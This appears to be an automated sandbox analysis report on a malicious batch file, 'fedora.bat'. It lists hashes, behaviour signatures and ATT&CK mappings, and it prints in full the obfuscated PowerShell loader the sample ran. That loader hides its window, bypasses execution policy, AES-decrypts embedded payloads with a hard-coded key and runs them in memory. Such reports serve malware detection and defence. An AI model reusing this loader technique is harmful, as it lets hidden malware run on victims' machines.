3c482d9f9ba4f4a1ab37d3a0016763eaef87f5e51e259ee92d11e619026531c3

Analysis

max time kernel
122s
max time network
122s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
02/03/2025, 20:00

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General

Target

fedora.bat
Size

115KB
MD5

a291659c73e487039ba0d4ed584d2335
SHA1

10b534a148cd151d32bf41fb8674acd5bc98493e
SHA256

3c482d9f9ba4f4a1ab37d3a0016763eaef87f5e51e259ee92d11e619026531c3
SHA512

797c0ab0dc2cf5a5f9012f1426f7766ff7ccf83c287b840254fb7b453d3a79b8cb6d59228cf6ec382cfc4ac6b069714f391efd57008b481a6d247f7da6d09c35
SSDEEP

3072:4YIEoF2PKuQNG88yD/HSkLhKAYzT6CN512EN2ENuN56E5NC6EEuQ6vgo:BIEUAKuL8jNFziT6CN512EN2ENuN56ES

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2172	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2172	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2172	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2492 wrote to memory of 2172	2492	cmd.exe	32
PID 2492 wrote to memory of 2172	2492	cmd.exe	32
PID 2492 wrote to memory of 2172	2492	cmd.exe	32

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\fedora.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2492
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command $batPath_var = 'C:\Users\Admin\AppData\Local\Temp\fedora.bat';function execute_function($param_var,$param2_var){ $obfstep1_var=[System.Reflection.Assembly]::Load([byte[]]$param_var); $obfstep2_var=$obfstep1_var.EntryPoint; $obfstep2_var.Invoke($null, $param2_var);}function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::FromBase64String('AMclMxV1Dlk4dZ9xhbeJ8BRXNPk2xSdjNKmZKsaNmvY='); $aes_var.IV=[System.Convert]::FromBase64String('3BwBnL3TCjApahEOZRTO8g=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $return_var;}$host.UI.RawUI.WindowTitle = $batPath_var;$sysIOFile_var = [type]::GetType('Syst'+'em'+'.IO'+'.Fil'+'e');$env_var = [type]::GetType('Sy'+'s'+'tem'+'.E'+'nvi'+'ro'+'n'+'m'+'ent');$fileContent_var = $sysIOFile_var::ReadAllText($batPath_var);$newline_var = $env_var::NewLine;$splitMethod_var = $fileContent_var.Split($newline_var);$contents_var = $splitMethod_var;foreach ($line_var in $contents_var) { if ($line_var.StartsWith(':: ')) { $lastline_var=$line_var.Substring(10); break; }}$payloads_var=[string[]]$lastline_var.Split('\');$payload1_var=decrypt_function([Convert]::FromBase64String($payloads_var[0]));$payload2_var=decrypt_function([Convert]::FromBase64String($payloads_var[1]));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2172

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2172-4-0x000007FEF5A3E000-0x000007FEF5A3F000-memory.dmp

Filesize
4KB

Download
memory/2172-5-0x000000001B5C0000-0x000000001B8A2000-memory.dmp

Filesize
2.9MB

Download
memory/2172-7-0x000007FEF5780000-0x000007FEF611D000-memory.dmp

Filesize
9.6MB

Download
memory/2172-9-0x000007FEF5780000-0x000007FEF611D000-memory.dmp

Filesize
9.6MB

Download
memory/2172-8-0x000007FEF5780000-0x000007FEF611D000-memory.dmp

Filesize
9.6MB

Download
memory/2172-6-0x0000000002290000-0x0000000002298000-memory.dmp

Filesize
32KB

Download
memory/2172-11-0x000007FEF5780000-0x000007FEF611D000-memory.dmp

Filesize
9.6MB

Download
memory/2172-10-0x000007FEF5780000-0x000007FEF611D000-memory.dmp

Filesize
9.6MB

Download
memory/2172-12-0x0000000002BF0000-0x0000000002BF8000-memory.dmp

Filesize
32KB

Download
memory/2172-13-0x00000000027A0000-0x00000000027B2000-memory.dmp

Filesize
72KB

Download
memory/2172-14-0x000007FEF5780000-0x000007FEF611D000-memory.dmp

Filesize
9.6MB

Download